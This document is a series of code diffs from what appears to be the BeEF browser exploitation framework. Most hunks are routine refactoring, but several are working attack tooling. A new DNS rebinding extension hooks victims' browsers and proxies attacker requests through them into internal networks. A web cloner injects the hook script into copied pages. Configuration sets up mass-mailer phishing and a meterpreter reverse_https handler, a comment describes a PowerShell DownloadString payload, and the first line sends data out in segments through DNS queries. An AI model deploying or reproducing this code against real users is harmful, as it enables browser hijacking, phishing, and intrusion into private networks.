sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);

View File

@@ -67,10 +67,12 @@ Beefwebrtc.prototype.initialize = function() {
// Initialise the pcConfig hash with the provided stunservers
var stuns = JSON.parse(this.stunservers);
this.pcConfig = {"iceServers": [{"urls":stuns}]};
this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
"credential":"pass"}]};
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
this.forceTurn(this.turnjson);
// this.forceTurn(this.turnjson);
this.turnDone = true;
// Caller is always ready to create peerConnection.
this.signalingReady = this.initiator;
@@ -450,6 +452,18 @@ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
}
// If the browser successfully sets a remote description
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug('Set remote session description successfully');}
}
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
Beefwebrtc.prototype.calleeStart = function() {
// Callee starts to process cached offer and other messages.
@@ -467,11 +481,55 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (message.type === 'offer') {
if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
this.setRemote(message);
this.doAnswer();
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
// version of FF - which no longer works
if (this.verbose) {beef.debug("Moz shim here");}
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {
// globalrtc[this.peerid].createAnswer(function(answer) {
// globalrtc[this.peerid].setLocalDescription(
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
globalrtc[peerid].createAnswer(function(answer) {
globalrtc[peerid].setLocalDescription(
new RTCSessionDescription(answer),
function() {
beefrtcs[peerid].sendSignalMsg(answer);
},function(error) {
beef.debug("setLocalDescription error: " + error);
});
},function(error) {
beef.debug("createAnswer error: " +error);
});
},function(error) {
beef.debug("setRemoteDescription error: " + error);
});
} else {
this.setRemote(message);
this.doAnswer();
}
} else if (message.type === 'answer') {
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
this.setRemote(message);
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
if (this.verbose) {beef.debug("Moz shim here");}
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {},
function(error) {
beef.debug("setRemoteDescription error: " + error);
});
} else {
this.setRemote(message);
}
} else if (message.type === 'candidate') {
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
@@ -486,11 +544,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
// Used to set the RTC remote session
Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
function onSetRemoteDescriptionSuccess() {
if (this.verbose) {beef.debug("Set remote session description success.");}
}
// function onSetRemoteDescriptionSuccess() {
// if (this.verbose) {beef.debug("Set remote session description success.");}
// }
}
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
@@ -585,4 +643,4 @@ beef.webrtc = {
}
}
}
beef.regCmp('beef.webrtc');
beef.regCmp('beef.webrtc');

View File

@@ -180,8 +180,7 @@ module BeEF
if config.get("beef.extension.network.enable") == true
if proxy_server =~ /^([\d\.]+):([\d]+)$/
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
end
end
end
@@ -324,7 +323,7 @@ module BeEF
components = [
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
'HasWebSocket', 'HasWebRTC', 'HasActiveX',
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
'HasQuickTime', 'HasRealPlayer', 'HasWMP',
'hasSessionCookies', 'hasPersistentCookies'
]
components.each do |k|
@@ -358,8 +357,7 @@ module BeEF
# add localhost as network host
if config.get('beef.extension.network.enable')
print_debug("Hooked browser has network interface 127.0.0.1")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
end
# Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets

View File

@@ -59,7 +59,7 @@ module Handlers
# Binds a file to a mount point
# @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path)
# @param [String] extension Extension to append to the URL path (can be nil for none)
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
# @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
@@ -71,13 +71,20 @@ module Handlers
'count' => count}
resp_body = File.read("#{root_dir}#{file}")
if extension.nil? || MIME::Types.type_for(extension).empty?
content_type = 'text/plain'
else
content_type = MIME::Types.type_for(extension).first.content_type
end
@http_server.mount(
url,
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type'=>'text/plain'}, resp_body)
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body)
)
@http_server.remap
print_info "File [#{file}] bound to url [#{url}]"
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
url
end

View File

@@ -32,14 +32,17 @@ module BeEF
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
PQ << {
begin
PQ << {
:beefhook => params[:bh],
:stream_id => Integer(params[:sid]),
:packet_id => Integer(params[:pid]),
:packet_count => Integer(params[:pc]),
:data => params[:d]
}
}
rescue TypeError, ArgumentError => e
print_error "Hooked browser returned an invalid argument: #{e}"
end
Thread.new {
check_packets()

View File

@@ -38,7 +38,9 @@ module BeEF
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount)
f_ext = File.extname(local_file).gsub('.','')
f_ext = nil if f_ext.empty?
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext)
status 200
else
halt 400

View File

@@ -12,8 +12,8 @@ end
# @note Prevent system from ever being used
def system(args)
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
exit
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
exit
end
# @note Prevent Kernel.system from ever being used

View File

@@ -90,7 +90,7 @@ module API
if !config.get("beef.http.web_server_imitation.enable")
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
'/favicon.ico')
'/favicon.ico', 'ico')
end
self.build_javascript_ui beef_server

View File

@@ -83,7 +83,6 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser Components', 'VBScript', 'VBScriptEnabled'],
['Browser Components', 'PhoneGap', 'HasPhonegap'],
['Browser Components', 'Google Gears', 'HasGoogleGears'],
['Browser Components', 'Silverlight', 'HasSilverlight'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],

View File

@@ -89,7 +89,6 @@ module BeEF
has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
has_webrtc = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebRTC')
has_activex = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
has_realplayer = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
has_wmp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWMP')
@@ -112,7 +111,6 @@ module BeEF
'has_googlegears' => has_googlegears,
'has_webrtc' => has_webrtc,
'has_activex' => has_activex,
'has_silverlight' => has_silverlight,
'has_quicktime' => has_quicktime,
'has_wmp' => has_wmp,
'has_realplayer' => has_realplayer,

View File

@@ -29,7 +29,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_webrtc = zombie_array[index]["has_webrtc"];
var has_activex = zombie_array[index]["has_activex"];
var has_wmp = zombie_array[index]["has_wmp"];
var has_silverlight = zombie_array[index]["has_silverlight"];
var has_quicktime = zombie_array[index]["has_quicktime"];
var has_realplayer = zombie_array[index]["has_realplayer"];
var date_stamp = zombie_array[index]["date_stamp"];
@@ -48,7 +47,6 @@ var ZombiesMgr = function(zombies_tree_lists) {
balloon_text+= "<br/>Web Sockets: " + has_web_sockets;
balloon_text+= "<br/>WebRTC: " + has_webrtc;
balloon_text+= "<br/>ActiveX: " + has_activex;
balloon_text+= "<br/>Silverlight: " + has_silverlight;
balloon_text+= "<br/>QuickTime: " + has_quicktime;
balloon_text+= "<br/>Windows MediaPlayer: " + has_wmp;
balloon_text+= "<br/>RealPlayer: " + has_realplayer;

View File

@@ -296,7 +296,6 @@ class ShellInterface
['Browser Components', 'VBScript', 'VBScriptEnabled'],
['Browser Components', 'PhoneGap', 'HasPhonegap'],
['Browser Components', 'Google Gears', 'HasGoogleGears'],
['Browser Components', 'Silverlight', 'HasSilverlight'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
['Browser Components', 'RealPlayer', 'HasRealPlayer'],

View File

@@ -0,0 +1,28 @@
module BeEF
module Extension
module DNSRebinding
module API
module ServHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::DNSRebinding::API::ServHandler,
BeEF::API::Server,
'pre_http_start'
)
def self.pre_http_start(http_hook_server)
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
address_http = config['address_http_internal']
address_proxy = config['address_proxy_internal']
port_http = config['port_http']
port_proxy = config['port_proxy']
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
end
end
end
end
end
end

View File

@@ -0,0 +1,15 @@
beef:
extension:
dns_rebinding:
enable: true
name: 'DNS Rebinding'
authors: ['Milovanov T.I.']
#Addresses are split into internal/external for more convenient attack
#from LAN.
address_http_internal: '192.168.x.x'
address_http_external: 'x.x.x.x'
address_proxy_internal: '192.168.x.x'
address_proxy_external: 'x.x.x.x'
port_http: 80
port_proxy: 81
debug_mode: true

View File

@@ -0,0 +1,230 @@
module BeEF
module Extension
module DNSRebinding
#Very simple HTTP server. Its task is only hook victim
class Server
@debug_mode = false
def self.log(msg)
if @debug_mode
STDERR.puts msg.to_s
end
end
def self.run_server(address, port)
server = TCPServer.new(address, port)
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
loop do
s = server.accept
Thread.new(s) do |socket|
victim_ip = socket.peeraddr[2].to_s
log "-------------------------------\n"
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
response = File.read(File.expand_path('../views/index.html', __FILE__))
configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
hook_file = configuration.get("beef.http.hook_file")
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
response.sub!('path_to_hookjs_template', hook_uri)
start_string = socket.gets
socket.print "HTTP/1.1 200 OK\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{response.bytesize}\r\n" +
"Connection: close\r\n"
socket.print "\r\n"
socket.print response
socket.close
#Indicate that victim load all javascript and we can block it with iptables.
dr_config = configuration.get("beef.extension.dns_rebinding")
if start_string.include?("load")
log "[Server] Block with iptables\n"
port_http = dr_config['port_http']
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
else
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
end
end
log "-------------------------------\n"
end
end
end
end
class Proxy
@queries = Queue.new
@responses = {}
@mutex_responses = nil
@mutex_queries = nil
@debug_mode = false
def self.send_http_response(socket, response, heads={})
socket.print "HTTP/1.1 200 OK\r\n"
headers = {}
headers["Content-Type"]="text/html"
headers["Content-Length"]=response.size.to_s
headers["Connection"]="close"
headers["Access-Control-Allow-Origin"]="*"
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
headers_a = heads.to_a
headers_a.each do |header, value|
headers[header] = value
end
headers.to_a.each do |header, value|
socket.print header+": "+value+"\r\n"
end
socket.print "\r\n"
socket.print response
end
def self.log(log_message)
if @debug_mode
STDERR.puts log_message
end
end
def self.read_http_message(socket)
message = {}
message['start_string'] = socket.gets.chomp
message['headers'] = {}
message['response'] = ""
c = socket.gets
while c != "\r\n" do
name = c[/(.+): (.+)/, 1]
value = c[/(.+): (.+)/, 2]
message['headers'][name] = value.chomp
c = socket.gets
end
length = message['headers']['Content-Length']
if length
#Ruby read() doesn't return while not read all <length> byte
resp = socket.read(length.to_i)
message['response'] = resp
end
return message
end
def self.handle_victim(socket, http_message)
log "[Victim]request from victim\n"
log http_message['start_string'].to_s+"\n"
if http_message['start_string'].include?("POST")
#Get result from POST query
log "[Victim]Get the result of last query\n"
#Read query on which asked victim
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
log "[Victim]asked path: "+query+"\n"
length = http_message['headers']['Content-Length'].to_i
content_type = http_message['headers']['Content-Type']
log "[Victim]Content-type: "+content_type.to_s+"\n"
log "[Vicitm]Length: "+length.to_s+"\n"
response = http_message['response']
log "[Victim]Get content!\n"
send_http_response(socket, "ok")
socket.close
log "[Victim]Close connection POST\n"
log "--------------------------------\n"
@mutex_responses.lock
@responses[query] = [content_type, response]
@mutex_responses.unlock
elsif http_message['start_string'].include?("OPTIONS")
send_http_response(socket, "")
socket.close
log "[Victim]Respond on OPTIONS reques\n"
log "--------------------------------\n"
else
#Look for queues from beef owner
log "[Victim]Waiting for next query..\n"
while @queries.size == 0
end
#Get the last query
@mutex_queries.lock
log "[Victim]Get the last query\n"
last_query = @queries.pop
log "[Victim]Last query:"+last_query.to_s+"\n"
@mutex_queries.unlock
response = last_query[2]
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
log "[Victim]Send next query to victim's browser\n"
log "---------------------------------------------\n"
socket.close
end
end
#Handle request from BeEF owner
def self.handle_owner(socket, http_message)
log "[Owner]Request from owner\n"
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
if http_message['start_string'].include?("GET")
if path != nil
log "[Owner]Need path: "+path+"\n"
@queries.push(['GET', path, ''])
end
elsif http_message['start_string'].include?("POST")
log "[Owner]Get POST request\n"
if path != nil
@queries.push(['POST', path, http_message['response']])
end
end
#Waiting for response, this check should not conflict with thread 2
while @responses[path] == nil
end
@mutex_responses.lock
log "[Owner]Get the response\n"
response_a = @responses[path]
@mutex_responses.unlock
response = response_a[1]
content_type = response_a[0]
send_http_response(socket, response, {'Content-Type'=>content_type})
log "[Owner]Send response to owner\n"
log "-------------------------------\n"
socket.close
end
def self.run_server(address, port)
@server = TCPServer.new(address, port)
@mutex_responses = Mutex.new
@mutex_queries = Mutex.new
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
loop do
s = @server.accept
Thread.new(s) do |socket|
http_message = read_http_message(socket)
if http_message['start_string'].include?("from_victim")
handle_victim(socket, http_message)
else
handle_owner(socket, http_message)
end
end
end
end
end
end
end
end

View File

@@ -0,0 +1,16 @@
module BeEF
module Extension
module DNSRebinding
extend BeEF::API::Extension
@short_name = 'DNS Rebinding'
@full_name = 'DNS Rebinding'
@description = 'DNS Rebinding extension'
end
end
end
require 'extensions/dns_rebinding/api.rb'
require 'extensions/dns_rebinding/dns_rebinding.rb'

View File

@@ -0,0 +1,8 @@
<html>
<head>
<script>
var commandModuleStr = '<script src="path_to_hookjs_template" type="text/javascript"><\/script>';
document.write(commandModuleStr);
</script>
</head>
</html>

View File

@@ -21,7 +21,6 @@ module Metasploit
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false)
return nil
end
@lock = false
@lastauth = nil
@unit_test = false
@@ -116,25 +115,41 @@ module Metasploit
def unit_test_init
@unit_test = true
end
# login into metasploit
# login to metasploit
def login
get_lock()
res = super(@config['user'] , @config['pass'])
if not res
release_lock()
print_error 'Could not authenticate to Metasploit xmlrpc.'
print_error 'Could not authenticate to Metasploit MSGRPC.'
return false
end
print_info 'Successful connection with Metasploit.' if (!@lastauth && !@unit_test)
if (!@lastauth)
print_info 'Successful connection with Metasploit.' if (!@unit_test)
print_debug "Metasploit: Received temporary token: #{self.token}"
# Generate permanent token
new_token = token_generate
if new_token.nil?
print_warning "Metasploit: Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes."
else
self.token = new_token
print_debug "Metasploit: Received permanent token: #{self.token}"
end
end
@lastauth = Time.now
release_lock()
true
end
# generate a permanent auth token
def token_generate
res = self.call('auth.token_generate')
return if not res or not res['token']
res['token']
end
def browser_exploits()
get_lock()

View File

@@ -24,6 +24,43 @@ module BeEF
property :mac, String, :lazy => false
property :cid, String, :lazy => false # command id or 'init'
#
# Stores a network host in the data store
#
def self.add(host={})
(print_error "Invalid hooked browser session"; return) unless BeEF::Filters.is_valid_hook_session_id?(host[:hooked_browser_id])
(print_error "Invalid IP address"; return) unless BeEF::Filters.is_valid_ip?(host[:ip])
# prevent duplicates
return unless BeEF::Core::Models::NetworkHost.all(
:hooked_browser_id => host[:hooked_browser_id],
:ip => host[:ip],
:hostname => host[:hostname],
:type => host[:type],
:os => host[:os],
:mac => host[:mac]).empty?
if host[:hostname].nil? && host[:type].nil? && host[:os].nil? && host[:mac].nil?
return unless BeEF::Core::Models::NetworkHost.all(
:hooked_browser_id => host[:hooked_browser_id],
:ip => host[:ip]).empty?
end
# store the returned network host details
network_host = BeEF::Core::Models::NetworkHost.new(
:hooked_browser_id => host[:hooked_browser_id],
:ip => host[:ip],
:hostname => host[:hostname],
:type => host[:type],
:os => host[:os],
:mac => host[:mac],
:cid => host[:cid])
result = network_host.save
(print_error "Failed to save network host"; return) if result.nil?
network_host
end
end
end

View File

@@ -23,6 +23,42 @@ module BeEF
property :type, String, :lazy => false
property :cid, String, :lazy => false # command id or 'init'
#
# Stores a network service in the data store
#
def self.add(service={})
(print_error "Invalid hooked browser session"; return) if not BeEF::Filters.is_valid_hook_session_id?(service[:hooked_browser_id])
(print_error "Invalid IP address"; return) if not BeEF::Filters.is_valid_ip?(service[:ip])
(print_error "Invalid port"; return) if not BeEF::Filters.is_valid_port?(service[:port])
# store the returned network host details
BeEF::Core::Models::NetworkHost.add(
:hooked_browser_id => service[:hooked_browser_id],
:ip => service[:ip],
:cid => service[:cid])
# prevent duplicates
return unless BeEF::Core::Models::NetworkService.all(
:hooked_browser_id => service[:hooked_browser_id],
:proto => service[:proto],
:ip => service[:ip],
:port => service[:port],
:type => service[:type]).empty?
# store the returned network service details
network_service = BeEF::Core::Models::NetworkService.new(
:hooked_browser_id => service[:hooked_browser_id],
:proto => service[:proto],
:ip => service[:ip],
:port => service[:port],
:type => service[:type],
:cid => service[:cid])
result = network_service.save
(print_error "Failed to save network service"; return) if result.nil?
network_service
end
end
end

View File

@@ -29,7 +29,7 @@ module BeEF
# Returns the entire list of network hosts for all zombies
get '/hosts' do
begin
hosts = @nh.all
hosts = @nh.all(:unique => true, :order => [:id.asc])
count = hosts.length
result = {}
@@ -45,7 +45,7 @@ module BeEF
# Returns the entire list of network services for all zombies
get '/services' do
begin
services = @ns.all
services = @ns.all(:unique => true, :order => [:id.asc])
count = services.length
result = {}
@@ -63,7 +63,7 @@ module BeEF
begin
id = params[:id]
hosts = @nh.all(:hooked_browser_id => id)
hosts = @nh.all(:hooked_browser_id => id, :unique => true, :order => [:id.asc])
count = hosts.length
result = {}
@@ -84,7 +84,7 @@ module BeEF
begin
id = params[:id]
services = @ns.all(:hooked_browser_id => id)
services = @ns.all(:hooked_browser_id => id, :unique => true, :order => [:id.asc])
count = services.length
result = {}

View File

@@ -13,6 +13,7 @@ beef:
# NOTE: you must have 'wget' in your PATH
add_beef_hook: true
user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2"
verify_ssl: true
mass_mailer:
# NOTE: you must have 'file' in your PATH
user_agent: "Microsoft-MacOutlook/12.12.0.111556"
@@ -20,6 +21,7 @@ beef:
port: 587
use_auth: true
use_tls: true
verify_ssl: true
helo: "gmail.com" # this is usually the domain name
auth: "youruser@gmail.com"
password: "yourpass"
@@ -50,4 +52,4 @@ beef:
# the default payload being used is windows/meterpreter/reverse_https
msf_reverse_handler_host: "172.16.45.1"
msf_reverse_handler_port: "443"
powershell_handler_url: "/ps"
powershell_handler_url: "/ps"

View File

@@ -31,7 +31,9 @@ module BeEF
# create new SSL context and disable CA chain validation
if @config.get("#{@config_prefix}.use_tls")
@ctx = OpenSSL::SSL::SSLContext.new
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
if not @config.get("#{@config_prefix}.verify_ssl")
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
end
@ctx.ssl_version = "TLSv1"
end

View File

@@ -16,7 +16,7 @@ module BeEF
# Change the default payload URL (DownloadString('http://172.16.37.1/ps/ps.png'))) with your BeEF server and powershell URL settings.
# By default powershell will be served from http://beef_server:beef_port/ps/ps.png
#
# NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to,
# NOTE: make sure you change the 'beef.http.public' variable in the main BeEF config.yaml to the specific IP where BeEF is binded to,
# and also the powershell-related variable in extensions/social_engineering/config.yaml
class Bind_powershell < BeEF::Core::Router::Router
before do
@@ -59,4 +59,4 @@ module BeEF
end
end
end
end
end

View File

@@ -61,6 +61,7 @@ module BeEF
result = {
"success" => false
}.to_json
halt 500
end
end

View File

@@ -15,7 +15,9 @@ module BeEF
@config = BeEF::Core::Configuration.instance
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
beef_proto = @config.get("beef.http.https.enable") == true ? "https" : "http"
@beef_hook = "#{beef_proto}://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
beef_host = @config.get("beef.http.public") || @config.get("beef.http.host")
beef_port = @config.get("beef.http.public_port") || @config.get("beef.http.port")
@beef_hook = "#{beef_proto}://#{beef_host}:#{beef_port}#{@config.get('beef.http.hook_file')}"
end
def clone_page(url, mount, use_existing, dns_spoof)
@@ -37,12 +39,18 @@ module BeEF
#
if use_existing.nil? || use_existing == false
begin #,"--background"
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
cmd << "--no-check-certificate"
end
print_debug "Running command: #{cmd.join(' ')}"
IO.popen(cmd, 'r+') do |wget_io|
end
success = true
rescue Errno::ENOENT => e
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
rescue => e
print_error "Errors executing wget: #{e}"
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
end
if success
@@ -167,7 +175,9 @@ module BeEF
http = Net::HTTP.new(uri.host, uri.port)
if uri.scheme == "https"
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
end
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)

View File

@@ -85,7 +85,7 @@ module BeEF
}
}
if (peerid == null) {
console.log('received a peer message, but, we are already setup?');
beef.debug('received a peer message, but, we are already setup?');
} else {
beefrtcs[peerid].processMessage(
JSON.stringify(#{output})

View File

@@ -9,6 +9,6 @@ beef:
name: 'WebRTC'
enable: false
authors: ["xntrik"]
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]'
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
# stunservers: '["stun:stun.l.google.com:19302"]'
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'

View File

@@ -152,7 +152,7 @@ module BeEF
# +++ Example with curl +++
# curl -H "Content-type: application/json; charset=UTF-8" -v
# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
# http://127.0.0.1:3000/api/webrtc/msg\?token\=df67654b03d030d97018f85f0284247d7f49c348
#
# Available client-side "message" options and handling:
# !gostealth - will put the <to> browser into a stealth mode

View File

@@ -3,6 +3,7 @@
Copyright (c) 2013 Niklas von Hertzen (@niklasvh)
Released under MIT License
Modified for BeEF <http://beefproject.com>
*/
(function(window, document, undefined){
@@ -15,7 +16,7 @@ html2canvas;
function h2clog(a) {
if (_html2canvas.logging && window.console && window.console.log) {
window.console.log(a);
beef.debug(a);
}
}
@@ -2801,7 +2802,7 @@ _html2canvas.Renderer.Canvas = function(options) {
if (storageContext.clip){
ctx.save();
ctx.beginPath();
// console.log(storageContext);
// beef.debug(storageContext);
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
ctx.clip();
}
@@ -2838,4 +2839,4 @@ _html2canvas.Renderer.Canvas = function(options) {
return canvas;
};
};
})(window,document);
})(window,document);

View File

@@ -31,10 +31,8 @@ class Asus_rt_series_get_info < BeEF::Core::Command
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found Asus RT series router [ip: #{ip}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :type => 'Asus Router', :cid => cid)
r.save
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => 80, :type => 'HTTP Server', :cid => cid)
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :type => 'Asus Router', :cid => cid)
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => 80, :type => 'HTTP Server', :cid => cid)
end
clients.scan(/([\d\.]+,[:\dA-F]{17})/).flatten.each do |client|
next if client.nil?
@@ -43,22 +41,19 @@ class Asus_rt_series_get_info < BeEF::Core::Command
mac = $2
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found router client [ip: #{ip}, mac: #{mac}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :mac => mac, :cid => cid)
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :mac => mac, :cid => cid)
end
end
end
if !gateway.nil? && BeEF::Filters.is_valid_ip?(gateway)
print_debug("Hooked browser found WAN gateway server [ip: #{gateway}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => gateway, :type => 'WAN Gateway', :cid => cid)
r.save
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => gateway, :type => 'WAN Gateway', :cid => cid)
end
if !dns_servers.nil? && dns_servers =~ /^([\d\. ]+)$/
dns_servers.split(/ /).uniq.each do |dns|
if BeEF::Filters.is_valid_ip?(dns)
print_debug("Hooked browser found DNS server [ip: #{dns}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => dns, :type => 'DNS Server', :cid => cid)
r.save
